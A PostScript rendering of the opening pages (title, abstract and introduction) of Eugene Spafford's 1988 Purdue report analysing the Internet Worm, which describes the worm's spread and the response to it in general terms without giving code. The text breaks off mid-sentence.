⟦affa84c4a⟧

TextFile

%!PS-Adobe-1.0
%%Creator: devps (Pipeline Associates, Inc.)
%%CreationDate: Sat Dec 10 13:30:31 1988
%%Pages: (atend)
%%DocumentFonts: (atend)

/X /exch load def
/r /rmoveto load def
/m /moveto load def
/l /lineto load def
/rl /rlineto load def
/lc{yc X xc X l st} bind def
/mc{yc X xc X m} bind def
/el{gs /a X def a div 1 X scale cp np a xc 2 div 0 360 arc st gr} bind def
/ar{cp 7 2 roll np xc 5 1 roll atan 3 1 roll atan X arc st} bind def
/sp{yc X xc X 6 2 roll yc X xc X 6 2 roll yc X xc X 6 2 roll ct} bind def
/st /stroke load def
/gs /gsave load def
/gr /grestore load def
/cp /currentpoint load def
/np /newpath load def
/ct /curveto load def
/m0{0 0 moveto} bind def
/BP{/devps-save save def m0} bind def
/EP{
clear devps-save restore
showpage} bind def
/res 10.000000 def
/V{res neg div 792 add
currentpoint pop X
m} bind def
/H{res div
currentpoint X pop
transform round exch round exch itransform
moveto} bind def
/h{res div 0 r} bind def
/v{res neg div 0 X r} bind def
/xc{res div} bind def
/yc{res neg div 792 add} bind def
/S{X H show} bind def
/psize 10 def
/height 1 def
/slant 0 def
/FF{findfont X dup 12 div setlinewidth /psize X def
    [psize 0 psize height mul slant sin slant cos div mul psize height mul 0 0]
    makefont setfont} bind def
/shade{gs
 /dy X def
 /dx X def
 np m
 setgray
 0 dy rl
 dx 0 rl
 0 dy neg rl
 dx neg 0 rl
 closepath
 fill
gr} bind def
1 setlinecap
/C{/Courier FF}def
/R{/Times-Roman FF}def
/B{/Times-Bold FF}def
/I{/Times-Italic FF}def
/Y{/Symbol FF}def
%% Troff special characters not on Symbol font
%% Copyright (C) 1986 by Pipeline Associates, Inc.
%% Version 1.0
/altRTD 20 dict def
altRTD begin
/s{setcachedevice}def
/C{1000 1000 scale}def
/m /moveto load def
/c /curveto load def
/S /stroke load def
/l /lineto load def
/a /arcto load def
/p /pop load def
/sl /setlinewidth load def

end
/F_Troff 17 dict def F_Troff begin
systemdict /currentpacking known
{/SavePacking currentpacking def true setpacking}if
/PaintType 0 def
/FontType 3 def
/StrokeWidth 0 def
/UniqueID 8277003 def
/FontMatrix [.001000 0 0 .001000 0 0] def
/FontBBox [-12 -105 942 855 ] def
/Encoding 256 array def
/CD 256 1 add dict def
/FontInfo 3 dict def FontInfo begin
/UnderlinePosition -133 def /UnderlineThickness 20 def end
/FontName (Troff) def
0 1 256 1 sub{Encoding exch /.notdef put}for
CD /.notdef{500 0 setcharwidth{}}put
Encoding (1) 0 get /br put
%% bold vertical rule used by tbl
CD /br{
C
0 0 -.5 -.5 1 1 s
np
.05 sl
0 -.1 m
0 .9 l
{S}
}put
Encoding (2) 0 get /ul put
%% underline used by tbl
CD /ul{
C
.5 0 -.5 -.5 1 1 s
np
.05 sl
0 -.1 m
.5 -.1 l
{S}
}put
Encoding (3) 0 get /ru put
%% baseline rule
CD /ru{
C
.5 0 -.5 -.5 1 1 s
np
.05 sl
m0
.5 0 l
{S}
}put
Encoding (4) 0 get /vr put
%% vertical rule
CD /vr{
C
0 0 -.5 -.5 1 1 s
np
.05 sl
m0
0 1 l
{S}
}put
Encoding (5) 0 get /sq put
%% square
CD /sq{
C
.5 0 -.5 -.5 1 1 s
np
.05 sl
0 .25 m
0 .5 rl
.5 0 rl
0 -.5 rl
-.5 0 rl
closepath
{S}
}put
Encoding (6) 0 get /bx put
%% solid box
CD /bx{
C
.5 0 -.5 -.5 1 1 s
np
0 .25 m
0 .5 rl
.5 0 rl
0 -.5 rl
-.5 0 rl
closepath
{fill}
}put
Encoding (7) 0 get /rn put
%% radical extender
CD /rn{
C
.5 0 -.5 -.5 1 1 s
np
.03 sl
-.03 .9 m
.5 0 rl
{S}
}put
Encoding (8) 0 get /GR put
%% gray mask
CD /GR{
C
.5 0 setcharwidth
.5 setgray
np
0 -.1 m
0 1 rl
.5 0 rl
0 -1 rl
-.5 0 rl
closepath
{fill}
}put
Encoding 97 /a put
CD /a{1000 0 0 66 942 421 s 430 415
m 578 406 678 349 662 319 c 655 306 614 287 583
296 c 570 300 466 340 438 332 c 365 309 335 213
270 209 c 0 310 m 108 310 l 108 114 l 0
114 l 0 310 l 42 161 m 42 134 l 66 134 l 66
161 l 42 161 l 47 155 m 47 140 l 62 140 l 62
155 l 47 155 l 110 133 m 226 113 300 66 410
80 c 497 91 550 69 634 76 c 645 76 663 92 669
107 c 677 125 673 141 668 160 c 725 334 m 758
332 734 253 701 250 c 501 325 m 475 316 476 309
473 302 c 465 282 482 263 499 257 c 552 236 615
253 689 253 c 701 253 713 236 713 218 c 712 194
702 168 678 161 c 671 159 663 160 655 160 c 591
158 516 156 479 168 c 461 173 453 191 453 210 c 453
224 456 235 466 244 c 476 253 490 252 503 255 c 459
84 m 447 96 435 106 435 123 c 435 136 440 145 447
155 c 453 163 462 168 469 173 c 110 293 m 173
318 300 421 435 415 c 609 407 852 416 885 411 c 898
409 924 411 930 380 c 942 316 828 339 742 334 c 731
334 730 335 725 335 c 701 336 685 336 660 336 c{S}}put
Encoding 98 /b put
CD /b{1000 0 -12 66 930 421 s 500
415 m 352 406 252 349 268 319 c 275 306 316 287
347 296 c 360 300 464 340 492 332 c 565 309 595
213 660 209 c 930 310 m 822 310 l 822 114 l 930
114 l 930 310 l 888 161 m 888 134 l 864 134
l 864 161 l 888 161 l 883 155 m 883 140 l 868
140 l 868 155 l 883 155 l 820 133 m 704 113
630 66 520 80 c 433 91 380 69 296 76 c 285 76
267 92 261 107 c 253 125 257 141 262 160 c 205
334 m 172 332 196 253 229 250 c 429 325 m 455
316 454 309 457 302 c 465 282 448 263 431 257 c 378
236 315 253 241 253 c 229 253 217 236 217 218 c 218
194 228 168 252 161 c 259 159 267 160 275 160 c 339
158 414 156 451 168 c 469 173 477 191 477 210 c 477
224 474 235 464 244 c 454 253 440 252 427 255 c 471
84 m 483 96 495 106 495 123 c 495 136 490 145 483
155 c 477 163 468 168 461 173 c 820 293 m 757
318 630 421 495 415 c 321 407 78 416 45 411 c 32
409 6 411 0 380 c -12 316 102 339 188 334 c 199
334 200 335 205 335 c 229 336 245 336 270 336 c{S}}put
Encoding 99 /c put
CD /c{1000 0 184 0 827 627 s 185 315
m 186 488 332 627 505 625 c 682 623 827 467 815
290 c 804 124 666 0 500 0 c 327 0 184 142 185
315 c{S}}put
Encoding 100 /d put
CD /d{590 0 134 158 477 500 s 300
160 m 208 162 134 238 135 330 c 136 423 212 500
305 500 c 397 500 473 427 475 335 c 477 239 396
158 300 160 c{fill}}put
Encoding 101 /e put	% Bell Symbol
CD /e{1010 0 -100 -210 1010 1010 s 100 sl 0 setlinecap
420 300 450 0 360 arc
420 650 m 420 575 l S
newpath 120 125 m 720 125 l 75 sl S
420 125 m 420 25 l S
220 400 m 220 175 120 175 100 a p p p p
220 400 m 220 550 420 550 80 a p p p p 
620 400 m 620 175 720 175 100 a p p p p
620 400 m 620 550 420 550 80 a p p p p
295 550 m 545 550 l{S}}put
/BuildChar{altRTD /BuildChar get exec}def end
altRTD begin /BuildChar{altRTD begin
/char exch def /fontdict exch def save
/charname fontdict /Encoding get char get def
fontdict /StrokeWidth get sl
fontdict /CD get dup charname known
{charname}{/.notdef}ifelse get newpath exec
fontdict /PaintType get 0 eq{exec}{p S}ifelse
restore end}def end
systemdict /currentpacking known{F_Troff /SavePacking get setpacking}if
/Troff F_Troff definefont pop
/Y1{/Troff FF}def
/C{/Courier FF}def
%%EndProlog
%%Page: 0 1
BP
/slant 0 def
/height 1.000000 def
10 C
10 R
1230 V
12 B
1770(The)S
2006(Internet)S
2462(Worm)S
2831(Program:)S
3366(An)S
3555(Analysis)S
1530 V
10 R
2091(Purdue)S
2404(Technical)S
2827(Report)S
3129(CSD-TR-823)S
1770 V
10 I
2479(Eugene)S
2808(H.)S
2935(Spafford)S
1950 V
10 R
2183(Department)S
2684(of)S
2797(Computer)S
3227(Sciences)S
2070 V
2512(Purdue)S
2825(University)S
2190 V
2238(West)S
2473(Lafayette,)S
2904(IN)S
3039(47907-2004)S
2430 V
2474(spaf@cs.purdue.edu)S
2920 V
10 I
2643(ABSTRACT)S
3216 V
11 R
1330(On)S
1498(the)S
1667(evening)S
2049(of)S
2175(2)S
2265(November)S
2762(1988,)S
3045(someone)S
3470(infected)S
3857(the)S
4026(Internet)S
4401(with)S
4632(a)S
3346 V
11 I
1080(worm)S
11 R
1382(program.)S
1865(That)S
2117(program)S
2539(exploited)S
2998(\257aws)S
3280(in)S
3416(utility)S
3731(programs)S
4195(in)S
4331(systems)S
3476 V
1080(based)S
1380(on)S
1541(BSD-derived)S
2171(versions)S
2588(of)S
2730(U)S
9 R
2809(NIX)S
11 R
2969(.)S
3081(The)S
3302(\257aws)S
3586(allowed)S
3985(the)S
4171(program)S
4594(to)S
3606 V
1080(break)S
1369(into)S
1588(those)S
1867(machines)S
2328(and)S
2533(copy)S
2793(itself,)S
3088(thus)S
11 I
3319(infecting)S
11 R
3750(those)S
4028(systems.)S
4484(This)S
3736 V
1080(program)S
1512(eventually)S
2030(spread)S
2376(to)S
2523(thousands)S
3024(of)S
3176(machines,)S
3679(and)S
3898(disrupted)S
4369(normal)S
3866 V
1080(activities)S
1510(and)S
1701(Internet)S
2074(connectivity)S
2650(for)S
2810(many)S
3087(days.)S
4032 V
1330(This)S
1575(report)S
1885(gives)S
2166(a)S
2263(detailed)S
2659(description)S
3196(of)S
3336(the)S
3519(components)S
4099(of)S
4240(the)S
4424(worm)S
4162 V
1080(program\320data)S
1783(and)S
1981(functions.)S
2491(It)S
2598(is)S
2712(based)S
3001(on)S
3151(study)S
3430(of)S
11 B
3561(two)S
11 R
3770(completely)S
4297(indepen-)S
4292 V
1080(dent)S
1329(reverse-compilations)S
2308(of)S
2459(the)S
2653(worm)S
2969(and)S
3187(a)S
3295(version)S
3678(disassembled)S
4324(to)S
4471(V)S
9 R
4550(AX)S
4422 V
11 R
1080(assembly)S
1539(language.)S
2045(Almost)S
2420(no)S
2580(source)S
2915(code)S
3170(is)S
3293(given)S
3586(in)S
3721(the)S
3904(paper)S
4195(because)S
4589(of)S
4552 V
1080(current)S
1427(concerns)S
1853(about)S
2135(the)S
2307(state)S
2546(of)S
2675(the)S
2847(``immune)S
3319(system'')S
3736(of)S
3866(Internet)S
4245(hosts,)S
4539(but)S
4682 V
1080(the)S
1254(description)S
1782(should)S
2116(be)S
2259(detailed)S
2646(enough)S
3009(to)S
3135(allow)S
3418(the)S
3591(reader)S
3901(to)S
4026(understand)S
4546(the)S
4812 V
1080(behavior)S
1496(of)S
1620(the)S
1787(program.)S
4978 V
1330(The)S
1542(paper)S
1826(contains)S
2235(a)S
2326(review)S
2666(of)S
2800(the)S
2977(security)S
3367(\257aws)S
3642(exploited)S
4094(by)S
4247(the)S
4424(worm)S
5108 V
1080(program,)S
1535(and)S
1749(gives)S
2037(some)S
2324(recommendations)S
3159(on)S
3324(how)S
3568(to)S
3709(eliminate)S
4173(or)S
4319(mitigate)S
5238 V
1080(their)S
1327(future)S
1635(use.)S
1889(The)S
2106(report)S
2414(also)S
2638(includes)S
3051(an)S
3201(analysis)S
3602(of)S
3740(the)S
3921(coding)S
4267(style)S
4522(and)S
5368 V
1080(methods)S
1492(used)S
1732(by)S
1881(the)S
2054(author\(s\))S
2488(of)S
2618(the)S
2791(worm,)S
3114(and)S
3310(draws)S
3609(some)S
3879(conclusions)S
4436(about)S
5498 V
1080(his)S
1242(abilities)S
1624(and)S
1815(intent.)S
6018 V
10 B
1525(Copyright)S
10 Y
1994(\323)S
10 B
2103(1988)S
2333(by)S
2469(Eugene)S
2816(H.)S
2949(Spa)S
3111 H
	(f)show 10 -.5 mul h (f)show
10 B
3172(ord.)S
3407(All)S
3565(rights)S
3845(reserved.)S
6148 V
10 R
1080(Permission)S
1556(is)S
1654(hereby)S
1956(granted)S
2286(to)S
2395(make)S
2642(copies)S
2928(of)S
3042(this)S
3218(work,)S
3479(without)S
3817(charge,)S
4139(solely)S
4410(for)S
4558(the)S
6278 V
1080(purposes)S
1470(of)S
1588(instruction)S
2051(and)S
2230(research.)S
2651(Any)S
2858(such)S
3076(copies)S
3365(must)S
3594(include)S
3922(a)S
4000(copy)S
4228(of)S
4345(this)S
4524(title)S
6408 V
1080(page)S
1300(and)S
1476(copyright)S
1892(notice.)S
2224(Any)S
2429(other)S
2667(reproduction,)S
3235(publication,)S
3743(or)S
3859(use)S
4025(is)S
4125(strictly)S
4436(prohi-)S
6538 V
1080(bited)S
1310(without)S
1646(express)S
1975(written)S
2288(permission.)S
7018 V
720(November)S
1171(29,)S
1326(1988;)S
1584(revised)S
1902(December)S
2341(8,)S
2446(1988)S
7920 V
EP
%%Page: 1 2
BP
/slant 0 def
/height 1.000000 def
10 R
10 R
1230 V
12 B
1770(The)S
2006(Internet)S
2462(Worm)S
2831(Program:)S
3366(An)S
3555(Analysis)S
1530 V
10 R
2091(Purdue)S
2404(Technical)S
2827(Report)S
3129(CSD-TR-823)S
1770 V
10 I
2479(Eugene)S
2808(H.)S
2935(Spafford)S
1950 V
10 R
2183(Department)S
2684(of)S
2797(Computer)S
3227(Sciences)S
2070 V
2512(Purdue)S
2825(University)S
2190 V
2238(West)S
2473(Lafayette,)S
2904(IN)S
3039(47907-2004)S
2430 V
2474(spaf@cs.purdue.edu)S
2810 V
11 B
720(1.)S
869(Introduction)S
2976 V
11 R
970(On)S
1144(the)S
1318(evening)S
1705(of)S
1836(2)S
1932(November)S
2435(1988)S
2696(the)S
2871(Internet)S
3252(came)S
3523(under)S
3813(attack)S
4115(from)S
4369(within.)S
4753(Some-)S
3106 V
720(time)S
950(around)S
1287(6)S
1375(PM)S
1568(EST,)S
1825(a)S
1906(program)S
2310(was)S
2513(executed)S
2934(on)S
3077(one)S
3268(or)S
3392(more)S
3650(hosts)S
3910(connected)S
4386(to)S
4505(the)S
4672(Internet.)S
3236 V
720(This)S
967(program)S
1390(collected)S
1837(host,)S
2101(network,)S
2540(and)S
2750(user)S
2984(information,)S
3583(then)S
3824(broke)S
4125(into)S
4349(other)S
4626(machines)S
3366 V
720(using)S
999(\257aws)S
1271(present)S
1627(in)S
1752(those)S
2023(systems')S
2447(software.)S
2923(After)S
3192(breaking)S
3614(in,)S
3767(the)S
3940(program)S
4350(would)S
4664(replicate)S
3496 V
720(itself)S
980(and)S
1178(the)S
1352(replica)S
1689(would)S
2004(also)S
2221(attempt)S
2591(to)S
2717(infect)S
3006(other)S
3271(systems.)S
3721(Although)S
4178(the)S
4353(program)S
4765(would)S
3626 V
720(only)S
950(infect)S
1233(Sun)S
1439(Microsystems)S
2090(Sun)S
2296(3)S
2385(systems,)S
2796(and)S
2989(V)S
9 R
3068(AX)S
3581 V
9 Y
3198(\324)S
3626 V
11 R
3313(computers)S
3805(running)S
4182(variants)S
4564(of)S
4690(4)S
4780(BSD)S
3590 V
9 R
4995(1)S
3756 V
11 R
720(U)S
9 R
799(NIX)S
11 R
959(,)S
3701 V
11 Y
987(\322)S
3756 V
11 R
1111(the)S
1282(program)S
1690(spread)S
2012(quickly,)S
2407(as)S
2535(did)S
2714(the)S
2886(confusion)S
3357(and)S
3553(consternation)S
4182(of)S
4311(system)S
4655(adminis-)S
3886 V
720(trators)S
1044(and)S
1246(users)S
1515(as)S
1650(they)S
1883(discovered)S
2401(that)S
2610(their)S
2855(systems)S
3248(had)S
3450(been)S
3700(invaded.)S
4152(Although)S
4612(U)S
9 R
4691(NIX)S
11 R
4894(has)S
4016 V
720(long)S
953(been)S
1196(known)S
1532(to)S
1656(have)S
1900(some)S
2170(security)S
2555(weaknesses)S
3103(\(cf.)S
3289([Ritc79],)S
3721([Gram84],)S
4218(and)S
4414([Reid87]\),)S
4906(the)S
4146 V
720(scope)S
1002(of)S
1126(the)S
1293(breakins)S
1697(came)S
1960(as)S
2084(a)S
2165(great)S
2416(surprise)S
2796(to)S
2915(almost)S
3242(everyone.)S
4312 V
970(The)S
1174(program)S
1579(was)S
1783(mysterious)S
2300(to)S
2420(users)S
2679(at)S
2792(sites)S
3022(where)S
3322(it)S
3418(appeared.)S
3907(Unusual)S
4308(\256les)S
4527(were)S
4773(left)S
4954(in)S
4442 V
720(the)S
903(/usr/tmp)S
1320(directories)S
1830(of)S
1969(some)S
2249(machines,)S
2739(and)S
2945(strange)S
3309(messages)S
3771(appeared)S
4212(in)S
4346(the)S
4528(log)S
4717(\256les)S
4949(of)S
4572 V
720(some)S
1001(of)S
1141(the)S
1324(utilities,)S
1733(such)S
1984(as)S
2125(the)S
11 I
2309(sendmail)S
11 R
2756(mail)S
3002(handling)S
3437(agent.)S
3785(The)S
4005(most)S
4270(noticeable)S
4770(e)S
4818 H
	(f)show 11 -.5 mul h (f)show
11 R
4885(ect,)S
4702 V
720(however,)S
1183(was)S
1412(that)S
1636(systems)S
2044(became)S
2436(more)S
2720(and)S
2937(more)S
3221(loaded)S
3571(with)S
3825(running)S
4225(processes)S
4702(as)S
4851(they)S
4832 V
720(became)S
1095(repeatedly)S
1592(infected.)S
2048(As)S
2213(time)S
2452(went)S
2708(on,)S
2889(some)S
3164(of)S
3298(these)S
3566(machines)S
4023(became)S
4399(so)S
4540(loaded)S
4875(that)S
4962 V
720(they)S
945(were)S
1192(unable)S
1520(to)S
1642(continue)S
2056(any)S
2249(processing;)S
2784(some)S
3051(machines)S
3500(failed)S
3784(completely)S
4307(when)S
4579(their)S
4815(swap)S
5092 V
720(space)S
995(or)S
1119(process)S
1480(tables)S
1769(were)S
2013(exhausted.)S
5258 V
970(By)S
1150(late)S
1359(Wednesday)S
1920(night,)S
2226(personnel)S
2703(at)S
2833(the)S
3018(University)S
3533(of)S
3676(California)S
4173(at)S
4304(Berkeley)S
4751(and)S
4961(at)S
5388 V
720(Massachusetts)S
1409(Institute)S
1825(of)S
1971(Technology)S
2549(had)S
2761(``captured'')S
3335(copies)S
3669(of)S
3814(the)S
4002(program)S
4427(and)S
4639(began)S
4954(to)S
5518 V
720(analyze)S
1090(it.)S
1250(People)S
1586(at)S
1703(other)S
1966(sites)S
2200(also)S
2415(began)S
2714(to)S
2838(study)S
3115(the)S
3287(program)S
3696(and)S
3892(were)S
4141(developing)S
4667(methods)S
5648 V
720(of)S
855(eradicating)S
1385(it.)S
1552(A)S
1675(common)S
2104(fear)S
2316(was)S
2530(that)S
2739(the)S
2916(program)S
3330(was)S
3543(somehow)S
4007(tampering)S
4495(with)S
4734(system)S
5778 V
720(resources)S
1169(in)S
1292(a)S
1377(way)S
1596(that)S
1799(could)S
2081(not)S
2260(be)S
2401(readily)S
2743(detected\320that)S
3420(while)S
3702(a)S
3788(cure)S
4013(was)S
4221(being)S
4503(sought,)S
4863(sys-)S
5908 V
720(tem)S
927(\256les)S
1153(were)S
1406(being)S
1692(altered)S
2031(or)S
2164(information)S
2725(destroyed.)S
3254(By)S
3425(5)S
3522(AM)S
3741(EST)S
3978(Thursday)S
4433(morning,)S
4875(less)S
6038 V
720(than)S
957(12)S
1115(hours)S
1408(after)S
1656(the)S
1839(program)S
2259(was)S
2478(\256rst)S
2699(discovered)S
3222(on)S
3381(the)S
3564(network,)S
4000(the)S
4183(Computer)S
4672(Systems)S
6168 V
720(Research)S
1174(Group)S
1508(at)S
1641(Berkeley)S
2090(had)S
2302(developed)S
2806(an)S
2963(interim)S
3335(set)S
3511(of)S
3656(steps)S
3930(to)S
4069(halt)S
4287(its)S
4445(spread.)S
4844(This)S
6298 V
720(included)S
1141(a)S
1232(preliminary)S
1787(patch)S
2067(to)S
2196(the)S
11 I
2373(sendmail)S
11 R
2813(mail)S
3052(agent,)S
3360(and)S
3561(the)S
3738(suggestion)S
4252(to)S
4382(rename)S
4747(one)S
4949(or)S
6428 V
720(both)S
962(of)S
1099(the)S
1279(C)S
1399(compiler)S
1835(and)S
2039(loader)S
2358(to)S
2489(prevent)S
2862(their)S
3108(use.)S
3360(These)S
3666(suggestions)S
4225(were)S
4481(published)S
4954(in)S
6558 V
720(mailing)S
1097(lists)S
1316(and)S
1514(on)S
1664(the)S
1839(Usenet,)S
2212(although)S
2638(their)S
2880(spread)S
3206(was)S
3417(hampered)S
3889(by)S
4040(systems)S
4430(disconnecting)S
6688 V
720(from)S
966(the)S
1133(Internet)S
1506(to)S
1625(attempt)S
1988(a)S
2069(``quarantine.'')S
6798 V
9 Y1
720(3333333333333333)S
6898 V
7 R
820(1)S
6926 V
9 R
900(BSD)S
1102(is)S
1189(an)S
1301(acronym)S
1643(for)S
1775(Berkeley)S
2127(Software)S
2479(Distribution.)S
7054 V
9 Y
820(\322)S
9 R
936(U)S
7 R
1001(NIX)S
9 R
1151(is)S
1238(a)S
1305(registered)S
1687(trademark)S
2079(of)S
2181(AT&T)S
2453(Laboratories.)S
7182 V
9 Y
820(\324)S
9 R
945(V)S
7 R
1010(AX)S
9 R
1137(is)S
1224(a)S
1291(trademark)S
1683(of)S
1785(Digital)S
2062(Equipment)S
2484(Corporation.)S
7920 V
EP
%%Page: 2 3
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2783(- 2 -)S
850 V
970(By)S
1134(about)S
1413(7)S
1503(PM)S
1699(EST)S
1931(Thursday,)S
2409(another)S
2773(simple,)S
3131(e)S
3179 H
	(f)show 11 -.5 mul h (f)show
11 R
3246(ective)S
3543(method)S
3909(of)S
4036(stopping)S
4452(the)S
4622(infection,)S
980 V
720(without)S
1128(renaming)S
1613(system)S
1990(utilities,)S
2421(was)S
2662(discovered)S
3207(at)S
3357(Purdue)S
3739(and)S
3968(also)S
4215(widely)S
4584(published.)S
1110 V
720(Software)S
1150(patches)S
1513(were)S
1759(posted)S
2081(by)S
2226(the)S
2395(Berkeley)S
2825(group)S
3116(at)S
3230(the)S
3399(same)S
3659(time)S
3890(to)S
4011(mend)S
4291(all)S
4437(the)S
4607(\257aws)S
4875(that)S
1240 V
720(enabled)S
1099(the)S
1272(program)S
1682(to)S
1807(invade)S
2138(systems.)S
2587(All)S
2767(that)S
2971(remained)S
3417(was)S
3626(to)S
3751(analyze)S
4123(the)S
4296(code)S
4540(that)S
4743(caused)S
1370 V
720(the)S
887(problems.)S
1536 V
970(On)S
1183(November)S
1724(8,)S
1886(the)S
2099(National)S
2556(Computer)S
3076(Security)S
3522(Center)S
3894(held)S
4163(a)S
4291(hastily-convened)S
1666 V
720(workshop)S
1204(in)S
1341(Baltimore.)S
1893(The)S
2114(topic)S
2385(of)S
2527(discussion)S
3037(was)S
3258(the)S
3443(program)S
3865(and)S
4074(what)S
4338(it)S
4451(meant)S
4770(to)S
4906(the)S
1796 V
720(Internet)S
1102(community.)S
1707(Who)S
1962(was)S
2174(at)S
2295(that)S
2502(meeting)S
2898(and)S
3098(why)S
3329(they)S
3560(were)S
3814(invited,)S
4191(and)S
4392(the)S
4569(topics)S
4875(dis-)S
1926 V
720(cussed)S
1046(have)S
1286(not)S
1461(yet)S
1629(been)S
1869(made)S
2141(public.)S
1890 V
9 R
2444(2)S
1926 V
11 R
2524(However,)S
2987(one)S
3180(thing)S
3442(we)S
3604(know)S
3883(that)S
4083(was)S
4288(decided)S
4663(by)S
4808(those)S
2056 V
720(present)S
1094(at)S
1231(the)S
1422(meeting)S
1833(was)S
2060(that)S
2282(those)S
2571(present)S
2944(would)S
3276(not)S
3474(distribute)S
3947(copies)S
4284(of)S
4432(their)S
4690(reverse-)S
2186 V
720(engineered)S
1243(code)S
1493(to)S
1623(the)S
1802(general)S
2168(public.)S
2549(It)S
2661(was)S
2876(felt)S
3067(that)S
3277(the)S
3456(program)S
3872(exploited)S
4326(too)S
4512(many)S
4801(little-)S
2316 V
720(known)S
1063(techniques)S
1576(and)S
1778(that)S
1987(making)S
2361(it)S
2467(generally)S
2918(available)S
3357(would)S
3676(only)S
3915(provide)S
4293(other)S
4561(attackers)S
4992(a)S
2446 V
720(framework)S
1233(to)S
1353(build)S
1614(another)S
1976(such)S
2211(program.)S
2677(Although)S
3127(such)S
3362(a)S
3444(stance)S
3752(is)S
3861(well-intended,)S
4527(it)S
4624(can)S
4810(serve)S
2576 V
720(only)S
966(as)S
1107(a)S
1205(delaying)S
1633(tactic.)S
1981(As)S
2153(of)S
2294(December)S
2791(8,)S
2923(I)S
3008(am)S
3191(aware)S
3499(of)S
3639(at)S
3767(least)S
4017(eleven)S
4351(versions)S
4766(of)S
4906(the)S
2706 V
720(decompiled)S
1272(code,)S
1546(and)S
1744(because)S
2129(of)S
2260(the)S
2434(widespread)S
2972(distribution)S
3521(of)S
3652(the)S
3826(binary,)S
4174(I)S
4251(am)S
4426(sure)S
4649(there)S
4908(are)S
2836 V
720(at)S
840(least)S
1082(ten)S
1257(times)S
1537(that)S
1743(many)S
2028(versions)S
2434(already)S
2795(completed)S
3292(or)S
3423(in)S
3549(progress\320the)S
4204(required)S
4608(skills)S
4882(and)S
2966 V
720(tools)S
972(are)S
1141(too)S
1319(readily)S
1660(available)S
2092(within)S
2411(the)S
2583(community)S
3123(to)S
3247(believe)S
3601(that)S
3804(only)S
4038(a)S
4124(few)S
4325(groups)S
4662(have)S
4906(the)S
3096 V
720(capability)S
1186(to)S
1305(reconstruct)S
1824(the)S
1991(source)S
2309(code.)S
3262 V
970(Many)S
1272(system)S
1624(administrators,)S
2327(programmers,)S
2985(and)S
3190(managers)S
3656(are)S
3835(interested)S
4308(in)S
4441(how)S
4677(the)S
4858(pro-)S
3392 V
720(gram)S
980(managed)S
1410(to)S
1531(establish)S
1951(itself)S
2206(on)S
2351(their)S
2587(systems)S
2971(and)S
3164(spread)S
3484(so)S
3617(quickly)S
4015(These)S
4310(individuals)S
4834(have)S
3522 V
720(a)S
806(valid)S
1064(interest)S
1425(in)S
1549(seeing)S
1867(the)S
2039(code,)S
2311(especially)S
2787(if)S
2892(they)S
3119(are)S
3289(software)S
3703(vendors.)S
4149(Their)S
4424(interest)S
4786(is)S
4899(not)S
3652 V
720(to)S
855(duplicate)S
1306(the)S
1489(program,)S
1937(but)S
2127(to)S
2262(be)S
2414(sure)S
2645(that)S
2859(all)S
3018(the)S
3201(holes)S
3481(used)S
3730(by)S
3888(the)S
4070(program)S
4489(are)S
4669(properly)S
3782 V
720(plugged.)S
1201(Furthermore,)S
1843(examining)S
2373(the)S
2573(code)S
2846(may)S
3102(help)S
3358(administrators)S
4054(and)S
4279(vendors)S
4693(develop)S
3912 V
720(defenses)S
1144(against)S
1503(future)S
1812(attacks,)S
2192(despite)S
2551(the)S
2733(claims)S
3068(to)S
3202(the)S
3384(contrary)S
3795(by)S
3952(some)S
4231(of)S
4369(the)S
4550(individuals)S
4042 V
720(with)S
949(copies)S
1262(of)S
1386(the)S
1553(reverse-engineered)S
2415(code.)S
4208 V
970(This)S
1203(report)S
1501(is)S
1612(intended)S
2027(to)S
2150(serve)S
2417(an)S
2557(interim)S
2912(role)S
3119(in)S
3242(this)S
3439(process.)S
3865(It)S
3969(is)S
4081(a)S
4167(detailed)S
4552(description)S
4338 V
720(of)S
847(how)S
1072(the)S
1242(program)S
1649(works,)S
1981(but)S
2158(does)S
2395(not)S
2572(provide)S
2943(source)S
3264(code)S
3506(that)S
3707(could)S
3986(be)S
4124(used)S
4360(to)S
4481(create)S
4775(a)S
4858(new)S
4468 V
720(worm)S
1013(program.)S
1449(As)S
1608(such,)S
1874(this)S
2071(should)S
2402(be)S
2542(an)S
2683(aid)S
2855(to)S
2979(those)S
3249(individuals)S
3777(seeking)S
4150(a)S
4236(better)S
4523(understand-)S
4598 V
720(ing)S
895(of)S
1020(how)S
1243(the)S
1411(code)S
1651(worked,)S
2040(yet)S
2207(it)S
2302(is)S
2409(in)S
2528(such)S
2762(a)S
2843(form)S
3089(that)S
3287(it)S
3382(cannot)S
3707(be)S
3843(used)S
4077(to)S
4196(create)S
4488(a)S
4569(new)S
4784(worm)S
4728 V
720(without)S
1113(considerable)S
1722(e)S
1770 H
	(f)show 11 -.5 mul h (f)show
11 R
1837(ort.)S
2077(Section)S
2464(3)S
2576(and)S
2791(Appendix)S
3281(C)S
3412(contain)S
3792(speci\256c)S
4184(observations)S
4796(about)S
4858 V
720(some)S
988(of)S
1115(the)S
1285(\257aws)S
1553(in)S
1675(the)S
1845(system)S
2187(exploited)S
2632(by)S
2778(the)S
2947(program,)S
3381(and)S
3574(their)S
3810(\256xes.)S
4114(A)S
4228(companion)S
4751(report,)S
4988 V
720(to)S
839(be)S
975(issued)S
1283(in)S
1402(a)S
1483(few)S
1679(weeks,)S
2013(will)S
2218(contain)S
2574(a)S
2655(history)S
2994(of)S
3118(the)S
3285(worm's)S
3653(spread)S
3971(through)S
4346(the)S
4513(Internet.)S
5154 V
970(This)S
1208(analysis)S
1604(is)S
1720(the)S
1896(result)S
2182(of)S
2315(a)S
2405(study)S
2686(performed)S
3183(on)S
3335(three)S
3595(separate)S
3994(reverse-engineered)S
4865(ver-)S
5284 V
720(sions)S
986(of)S
1115(the)S
1287(worm)S
1581(code.)S
1886(Two)S
2125(of)S
2254(these)S
2517(versions)S
2921(are)S
3091(in)S
3215(C)S
3327(code,)S
3599(and)S
3795(one)S
3991(in)S
4115(V)S
9 R
4194(AX)S
11 R
4362(assembler.)S
4899(All)S
5414 V
720(three)S
973(agree)S
1243(in)S
1364(all)S
1509(but)S
1685(the)S
1854(most)S
2104(minor)S
2402(details.)S
2785(One)S
3002(C)S
3111(version)S
3469(of)S
3595(the)S
3764(code)S
4005(compiles)S
4437(to)S
4559(binary)S
4875(that)S
5544 V
720(is)S
839(identical)S
1262(to)S
1393(the)S
1572(original)S
1959(code,)S
2238(except)S
2568(for)S
2740(minor)S
3048(di)S
3134 H
	(f)show 11 -.5 mul h (f)show
11 R
3201(erences)S
3571(of)S
3706(no)S
3860(signi\256cance.)S
4489(From)S
